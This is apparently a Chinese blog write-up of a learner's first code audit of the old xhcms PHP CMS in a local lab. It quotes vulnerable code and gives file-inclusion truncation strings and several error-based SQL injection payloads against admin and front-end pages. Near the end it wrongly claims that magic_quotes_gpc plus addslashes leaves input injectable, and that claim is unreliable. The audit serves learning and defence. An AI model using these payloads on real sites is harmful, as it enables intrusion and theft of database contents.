第一次审计,抱着学习的态度,从一个初学者的角度去尝试摸石头过河,踩坑,跳坑,并做个记录吧:
[toc]
使用phpstudy 5.4.45+mysql5.5.53进行搭建(这个cms比较老,用php7会出问题)。
去网上下载xhcms源码(https://down.chinaz.com/),解压到phpstudy根目录,启动phpstudy,访问安装并安装即可。
(安装时记得提前在phpstudy中mysql管理创建一个数据库(我这里创建一个testxhcms数据库使用))
admin --管理后台文件夹
css --存放css的文件夹
files --存放页面的文件夹
images --存放图片的文件夹
inc --存放网站配置文件的文件夹
install --网站进行安装的文件夹
seacmseditor --编辑器文件夹
template --模板文件夹
upload --上传功能文件夹
index.php --网站首页
一个个看文件不太现实,用一用工具吧,先使用seay自动化代码审计工具扫一下:
可以看到,有爆出34个可疑位置,接下来就一个个去分析代码,进行尝试。
index.php以及admin/index.php
<?php //单一入口模式 error_reporting(0); //关闭错误显示 $file=addslashes($_GET['r']); //接收文件名 $action=$file==''?'index':$file; //判断为空或者等于index include('files/'.$action.'.php'); //载入相应文件 ?>
分析代码:
第一行的注释里面有写"单一入口模式",这个是什么意思呢?简单来说就是用一个文件处理所有的HTTP请求,例如不管是内容列表页,用户登录页还是内容详细页,都是通过从浏览器访问 index.php 文件来进行处理的,这里这个 index.php 文件就是这个应用程序的单一入口(具体造成的影响在我们后面使用文件时会再次提到来进行理解)。
第二行的error_reporting(0);表示关闭所有PHP错误报告。
addslashes() 函数返回在预定义字符(单·双引号、反斜杠(\)、NULL)之前添加反斜杠的字符串。
第四行、第五行,通过三元运算符判断文件名是否为空,为空则载入files/index.php文件,反之赋值就会把传递进来的文件名赋值给$action,".“在PHP里是拼接的作用,因此就是把第四行传递的变量$file(到这里是$action,因为上一行$file赋值给了$action)也就是传递的文件名字,拼接前面的目录”files/”以及后面的”.php"这个后缀,最终载入拼接后的相应文件。
那么这里漏洞利用其实就两个问题:跳出限定的目录和截断拼接的后缀
我们需要截断后面的 .php 后缀,因此使用Windows文件名字的特性及Windows文件名的全路径限制进行截断。1.Windows下在文件名字后面加 “.” 不影响文件。
2.Windows的文件名的全路径(Fully Qualified File Name)的最大长度为260字节。但是这个是有利用条件的,在我这几次测试过程中, 发现必须同时满足 php版本=5.2.17、Virtual Directory Support=enable
先在网站根目录下写一个phpinfo用于测试:test.txt
00截断利用条件 //此处由于addslashes()函数导致不可用 1、magic_quotes_gpc =off 2、php版本小于5.3.4 ?截断失败 长度截断可用: //php版本=5.2.17、Virtual Directory Support=enable payload: 1.?r=../test.txt........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................ 2.?r=../test.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
require '../inc/conn.php'; $login=$_POST['login']; $user=$_POST['user']; $password=$_POST['password']; $checkbox=$_POST['checkbox']; if ($login<>""){ $query = "SELECT * FROM manage WHERE user='$user'"; $result = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $users = mysql_fetch_array($result);
对$user变量未作过滤,直接单引号包裹带入查询,存在sql注入,打一打(测试未屏蔽报错,用报错注入):
payload:
1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--
成功爆出数据库
<?php require '../inc/checklogin.php'; require '../inc/conn.php'; $setopen='class="open"'; $query = "SELECT * FROM adword"; $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $ad = mysql_fetch_array($resul); $save=$_POST['save']; $ad1=addslashes($_POST['ad1']); $ad2=addslashes($_POST['ad2']); $ad3=addslashes($_POST['ad3']); if ($save==1){ $query = "UPDATE adword SET ad1='$ad1', ad2='$ad2', ad3='$ad3', date=now()"; @mysql_query($query) or die('修改错误:'.mysql_error()); echo "<script>alert('亲爱的,广告设置成功更新。');location.href='?r=adset'</script>"; exit; } ?>
分析代码,报警处三个可控变量ad1-ad3都经过了addlashes()函数处理,因此此处其实不存在sql注入漏洞,属于误报。
下一个
双击打开文件,首先看到的还不是报错位置,而是文件开头,直接吸引了我的目光,关键代码:
$id=$_GET['id']; $type=$_GET['type']; if ($type==1){ $query = "SELECT * FROM nav WHERE id='$id'"; $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $nav = mysql_fetch_array($resul); } if ($type==2){ $query = "SELECT * FROM navclass WHERE id='$id'"; $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $nav = mysql_fetch_array($resul); }
可以看到,id、type都是直接通过GET方式传入进来,然后单引号闭合,未作任何其他过滤就开始进入数据库查询。因此我们先登陆进后台,然后去包含这个文件(前面我们提到index.php文件中的单一入口模式,这也就导致这个文件夹下的所有文件都需要这么去使用)否则由于权限问题会产生报错如下:
进入此页面进行利用尝试:
http://192.168.121.130/xhcms/admin/?r=editcolumn
由上分析,直接GET传参尝试利用:(要进入连接数据库部分,因此type需要满足条件1或2,这里随便选择1)没有屏蔽报错,所以懒得测试字段什么的,直接采用报错注入,payload:
?r=editcolumn&type=1&id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
成功注出数据库,后面就不写了,流程一套就是。
言归正传,报警处代码:
$save=$_POST['save']; $name=$_POST['name']; $keywords=$_POST['keywords']; $description=$_POST['description']; $px=$_POST['px']; $xs=$_POST['xs']; if ($xs==""){ $xs=1; } $tuijian=$_POST['tuijian']; if ($tuijian==""){ $$tuijian=0; } $content=$_POST['content']; if ($save==1){ if ($name==""){ echo "<script>alert('抱歉,栏目名称不能为空。');history.back()</script>"; exit; } if ($type==1){ $query = "UPDATE nav SET name='$name', keywords='$keywords', description='$description', xs='$xs', px='$px', content='$content', date=now() WHERE id='$id'"; @mysql_query($query) or die('修改错误:'.mysql_error()); echo "<script>alert('亲爱的,一级栏目已经成功编辑。');location.href='?r=columnlist'</script>"; exit; } if ($type==2){ $query = "UPDATE navclass SET name='$name', keywords='$keywords', description='$description', xs='$xs', px='$px', tuijian='$tuijian', date=now() WHERE id='$id'"; @mysql_query($query) or die('修改错误:'.mysql_error()); echo "<script>alert('亲爱的,二级栏目已经成功编辑。');location.href='?r=columnlist'</script>"; exit; }
其实就是在刚刚代码下面,漏洞出现方式和它一摸一样(除了此处是POST传参),因此不再详谈。
下一个
关键代码:
<?php require '../inc/checklogin.php'; require '../inc/conn.php'; $linklistopen='class="open"'; $id=$_GET['id']; $query = "SELECT * FROM link WHERE id='$id'"; $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());//Id不做过滤,直接传入查询 $link = mysql_fetch_array($resul);
$query = "UPDATE link SET name='$name', url='$url', mail='$mail', jieshao='$jieshao', xs='$xs', date=now() WHERE id='$id'"; @mysql_query($query) or die('修改错误:'.mysql_error()); echo "<script>alert('亲爱的,链接已经成功编辑。');location.href='?r=linklist'</script>"; exit; //name等参数不做过滤,直接传入查询更新
同样的漏洞出现方式,对可控变量不做过滤,直接单引号闭合开始查询更新数据。利用payload:
?r=editlink&id=1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+
或者POST注入(直接填在框内,点击保存)
name=1&url=1' and (extractvalue(1,concat(0x7e,(select database()),0x7e))) and'
下一个
$id=$_GET['id']; $query = "SELECT * FROM download WHERE id='$id'"; $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());//典中点,不再提 $download = mysql_fetch_array($resul); $save=$_POST['save']; $title=$_POST['title']; $author=$_POST['author']; $keywords=$_POST['keywords']; $description=$_POST['description']; $images=$_POST['images']; $daxiao=$_POST['daxiao']; $language=$_POST['language']; $version=$_POST['version']; $demo=$_POST['demo']; $url=$_POST['url']; $softadd=$_POST['softadd']; $softadd2=$_POST['softadd2']; $content=$_POST['content']; $xs=$_POST['xs']; if ($xs==""){ $xs=1;} if ($save==1){ //处理图片上传 if(!empty($_FILES['images']['tmp_name'])){ $query = "SELECT * FROM imageset"; $result = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $imageset = mysql_fetch_array($result);
$query = "UPDATE download SET title='$title', keywords='$keywords', description='$description', $images daxiao='$daxiao', language='$language', version='$version', author='$author', demo='$demo', url='$url', softadd='$softadd', softadd2='$softadd2', xs='$xs', content='$content', date=now() WHERE id='$id'"; @mysql_query($query) or die('修改错误:'.mysql_error()); echo "<script>alert('亲爱的,下载,".$imgsms."成功更新。');location.href='?r=softlist'</script>"; exit;
同上,典中点无脑sql,不再提
下一个
一样的注入
1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+
if ($filename<>""){ $images="img_logo='$filename',"; } $query = "UPDATE imageset SET img_kg='$img_kg', $images img_weizhi='$img_weizhi', img_slt='$img_slt', img_moshi='$img_moshi', img_wzkd='$img_wzkd', img_wzgd='$img_wzgd'"; @mysql_query($query) or die('修改错误:'.mysql_error()); echo "<script>alert('亲爱的,图片设置成功更新。');location.href='?r=imageset'</script>";
同样的注入问题,不再详说,不过这个文件里宁一段代码引起了我的注意:
if(!empty($_FILES['images']['tmp_name'])){ include '../inc/up.class.php'; if (empty($HTTP_POST_FILES['images']['tmp_name']))//判断接收数据是否为空 { $tmp = new FileUpload_Single; $upload="../upload/watermark";//图片上传的目录,这里是当前目录下的upload目录,可自已修改 $tmp -> accessPath =$upload; if ( $tmp -> TODO() ) { $filename=$tmp -> newFileName;//生成的文件名 $filename=$upload.'/'.$filename; }
包含了个../inc/up.class.php,文件上传相关,不得不引人注目,此处没有利用点,跟进一下这个包含的文件看看:
<?php class FileUpload_Single { //user define ------------------------------------- var $accessPath ; var $fileSize=4000; var $defineTypeList="jpg|jpeg|gif|bmp|png";//string jpg|gif|bmp ... var $filePrefix= "";//上传后的文件名前缀,可设置为空 var $changNameMode=0;//图片改名的规则,暂时只有三类,值范围 : 0 至 2 任一值 var $uploadFile;//array upload file attribute var $newFileName; var $error; function TODO() {//main 主类:设好参数,可以直接调用 $pass = true ; if ( ! $this -> GetFileAttri() ) { $pass = false; } if( ! $this -> CheckFileMIMEType() ) { $pass = false; $this -> error .= die("<script language=\"javascript\">alert('图片类型不正确,允许格式:jpg|jpeg|gif|bmp。');history.back()</script>"); } if( ! $this -> CheckFileAttri_size() ) { $pass = false; $this -> error .= die("<script language=\"javascript\">alert('上传的文件太大,请确保在".$fileSize."K以内。');history.back()</script>"); return false; } if ( ! $this -> MoveFileToNewPath() ) { $pass = false; $this -> error .= die("<script language=\"javascript\">alert('上传失败!文件移动发生错误!');history.back()</script>"); } return $pass; } function GetFileAttri() { foreach( $_FILES as $tmp ) { $this -> uploadFile = $tmp; } return (empty( $this -> uploadFile[ 'name' ])) ? false : true; } function CheckFileAttri_size() { if ( ! empty ( $this -> fileSize )) { if ( is_numeric( $this -> fileSize )) { if ($this -> fileSize > 0) { return ($this -> uploadFile[ 'size' ] > $this -> fileSize * 1024) ? false : true ; } } else { return false; } } else { return false; } } function ChangeFileName ($prefix = NULL , $mode) {// string $prefix , int $mode $fullName = (isset($prefix)) ? $prefix."" : NULL ; switch ($mode) { case 0 : $fullName .= rand( 0 , 100 ). "_" .strtolower(date ("ldSfFYhisa")) ; break; case 1 : $fullName .= rand( 0 , 100 ). "_" .time(); break; case 2 : $fullName .= rand( 0 , 10000 ) . time(); break; default : $fullName .= rand( 0 , 10000 ) . time(); break; } return $fullName; } function MoveFileToNewPath() { $newFileName = NULL; $newFileName = $this -> ChangeFileName( $this -> filePrefix , 2 ). "." . $this -> GetFileTypeToString(); //检查目录是否存在,不存在则创建,当时我用的时候添加了这个功能,觉得没用的就注释掉吧 /* $isFile = file_exists( $this -> accessPath); clearstatcache(); if( ! $isFile && !is_dir($this -> accessPath) ) { echo $this -> accessPath; @mkdir($this -> accessPath); }*/ $array_dir=explode("/",$this -> accessPath);//把多级目录分别放到数组中 for($i=0;$i<count($array_dir);$i++){ $path .= $array_dir[$i]."/"; if(!file_exists($path)){ mkdir($path); } } ///////////////////////////////////////////////////////////////////////////////////////////////// if ( move_uploaded_file( $this -> uploadFile[ 'tmp_name' ] , realpath( $this -> accessPath ) . "/" . $newFileName ) ) { $this -> newFileName = $newFileName; return true; }else{ return false; } ///////////////////////////////////////////////////////////////////////////////////////////////// } function CheckFileExist( $path = NULL) { return ($path == NULL) ? false : ((file_exists($path)) ? true : false); } function GetFileMIME() { return $this->GetFileTypeToString(); } function CheckFileMIMEType() { $pass = false; $defineTypeList = strtolower( $this ->defineTypeList); $MIME = strtolower( $this -> GetFileMIME()); if (!empty ($defineTypeList)) { if (!empty ($MIME)) { foreach(explode("|",$defineTypeList) as $tmp) { if ($tmp == $MIME) { $pass = true; } } } else { return false; } } else { return false; } return $pass; } function GetFileTypeToString() { if( ! empty( $this -> uploadFile[ 'name' ] ) ) { return substr( strtolower( $this -> uploadFile[ 'name' ] ) , strlen( $this -> uploadFile[ 'name' ] ) - 3 , 3 ); } } } ?>
很不幸,处理严格,没发现可利用点(或者是实力不足,有问题没看出来?遗憾~~~)
下一个
$query = "UPDATE content SET navclass='$navclass', title='$title', toutiao='$toutiao', author='$author', keywords='$keywords', description='$description', xs='$xs', $images content='$content', editdate=now() WHERE id='$id'"; @mysql_query($query) or die('修改错误:'.mysql_error()); echo "<script>alert('亲爱的,文章,".$imgsms."成功修改。');location.href='?r=wzlist'</script>"; exit;
同上,差异不大,直接post框内注入即可
下一个
$save=$_POST['save']; $name=$_POST['name']; $url=$_POST['url']; $mail=$_POST['mail']; $jieshao=$_POST['jieshao']; $xs=$_POST['xs']; if ($save==1){ if ($name==""){ echo "<script>alert('抱歉,链接名称不能为空。');history.back()</script>"; exit; } if ($url==""){ echo "<script>alert('抱歉,链接地址不能为空。');history.back()</script>"; exit; } $query = "INSERT INTO link (name,url,mail,jieshao,xs,date) VALUES ('$name','$url','$mail','jieshao','xs',now())"; @mysql_query($query) or die('新增错误:'.mysql_error()); echo "<script>alert('亲爱的,链接已经成功添加。');location.href='?r=linklist'</script>"; exit;
这里终于有了一点不同(仅限于sql语句,555555)没有新意,还是构造闭合直接开注即可
name=123&url=1' and (extractvalue(1,concat(0x7e,(select database()),0x7e))) and' //框中填写提交即可
下一个:
无新意,不再提
下一个
关键代码
$id=addslashes($_GET['cid']);//addlashes()函数处理,难道没戏? $query = "SELECT * FROM content WHERE id='$id'"; $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $content = mysql_fetch_array($resul); $navid=$content['navclass']; $query = "SELECT * FROM navclass WHERE id='$navid'"; $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $navs = mysql_fetch_array($resul); //浏览计数 $query = "UPDATE content SET hit = hit+1 WHERE id=$id";//啊这这这这。。。前面刚addlashes()处理,这里就不加单引号保护, @mysql_query($query) or die('修改错误:'.mysql_error()); ?> <?php $query=mysql_query("select * FROM interaction WHERE (cid='$id' AND type=1 and xs=1)"); $pinglunzs = mysql_num_rows($query) ?>
注意到两处:
$id=addslashes($_GET['cid']);//addlashes()函数处理,难道没戏?
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";//啊这这这这。。。前面刚addlashes()处理,这里就不加单引号保护,那防了个寂寞,直接开注 payload: http://127.0.0.1/index.php/?r=content&cid=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
下一个
依旧无新意直接注入即可
下一个
$id=addslashes($_GET['cid']); $query = "SELECT * FROM download WHERE id='$id'"; $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $download = mysql_fetch_array($resul);
默认情况下,PHP 指令 magic_quotes_gpc 为 on,对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。
因为这里被GET传值就已经默认运行addslashes()
,所以再次使用addslashes()
就不起作用了,所以我们依旧还是可以进行报错注入。
payload: ?r=software&cid=1'or(updatexml